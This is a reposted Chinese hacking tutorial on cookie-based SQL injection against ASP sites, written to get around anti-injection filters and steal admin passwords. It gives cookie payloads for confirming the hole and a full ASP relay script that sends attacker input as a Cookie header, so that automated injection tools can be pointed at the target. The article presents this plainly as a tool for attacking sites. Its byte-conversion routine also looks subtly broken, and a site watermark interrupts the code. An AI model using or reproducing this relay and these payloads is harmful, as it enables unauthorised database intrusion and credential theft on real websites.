当前位置:多学网学习教育电脑学习电脑技巧教你如何加速cookie注入

教你如何加速cookie注入

[08-23 23:17:40]   来源:http://www.duoxue8.com  电脑技巧   阅读:835
教你如何加速cookie注入,标签:电脑技巧大全,电脑基础知识,http://www.duoxue8.com
目前世面上大部分防注入程序都没有对cookie注入进行预防,虽然cookie手工注入麻烦了点,但对于有耐性的人来说,还是可以得到后台密码的,如果是MSSQL数据库,那么就更简单了。所以本文的目的就是用工具来代替手工进行cookie注入~~,手工方法如下:
  
  比如网址如下,对GET以及POST提交的数据都进行了检测,也没办法饶过。首先打开上面的地址,再清空地址栏,输入 javascript:alert(document.cookie="id="+escape("46 and 1=2")),再输入,页面返回错误,说明有希望;提交 javascript:alert(document.cookie="id="+escape("46 and 1=1")),最后输入,这次返回完全正常;可以确定存在cookie注入。以下代码来自寂寞的刺猬[L.S.T],脚本高手啊~~
  
  <%
  
  cookname=request("jmdcw")
  
  cookname=escape(cookname)
  
  jmstr="id="&cookname   '存在注入的变量
  
  jmstr=replace(jmstr,chr(32),"%20")
  
  jmstr=replace(jmstr,chr(43),"%2b")
  
  '//以下三行需要修改,Cookies值可以用Domain3.5浏览下就得到了~~
  
  jmurl="" '存在注入的网址
  
  jmref="" '来源地址
  
  jmcok="ASPSESSIONIDCQTAQBSQ=ALGDAPNDKCOHJNDCAMOHDHLK"
  
  jmcok=jmcok& ";"&jmstr&";"
  
  response.write postdata(jmurl,jmcok,jmref)
  
  function postdata(posturl,postcok,postref)
  
  dim http
  
  set http=server.createobject("msxml2.serverxmlhttp")
  
  with http
  
  .open "POST",posturl,false
  
  .setRequestheader "content-type","application/x-www-form-urlencoded"
  
  .setrequestheader "referer",postref
  
  .setrequestheader "cookie",postcok     '提交cookie值
  
  .send()     '发送数据
  
  postdata=.responsebody       '得到返回的二进制信息
  
  end with
  
  set http=nothing
  
  postdata=bytes2BSTR(postdata) '转换二进制流
  
  end function
  
  function bytes2BSTR(vin)
  
  dim strReturn
  
  dim i,thischarcode,nextcharcode
  
  strReturn=""
  
  for i=1 to lenB(vin)
  
  thischarcode=ascB(midB(vin,1,1))
  
  if thischarcode<&H80 then
  
  strReturn=strReturn&chr(thischarcode)
  
  else
  
  nextcharcode=ascB(midB(vin,1+1,1))
  
  strReturn=strReturn&chr(clng(thischarcode) * &H100+cint(nextcharcode))
www.duoxue8.com   
  i=i+1
  
  end if
  
  next
  
  bytes2BSTR=strReturn
  
  end function
  
  %>
  
  保存为jmdcw.asp,最后可以本机装个IIS或绿色的aspsrv.exe,那么注入地址就是,直接用工具就OK了,从此HACKING的道路更宽广了。。。
  
  本文来自 http://www.duoxue8.com 谢谢支


教你如何加速cookie注入 结束。
Tag:电脑技巧电脑技巧大全,电脑基础知识电脑学习 - 电脑技巧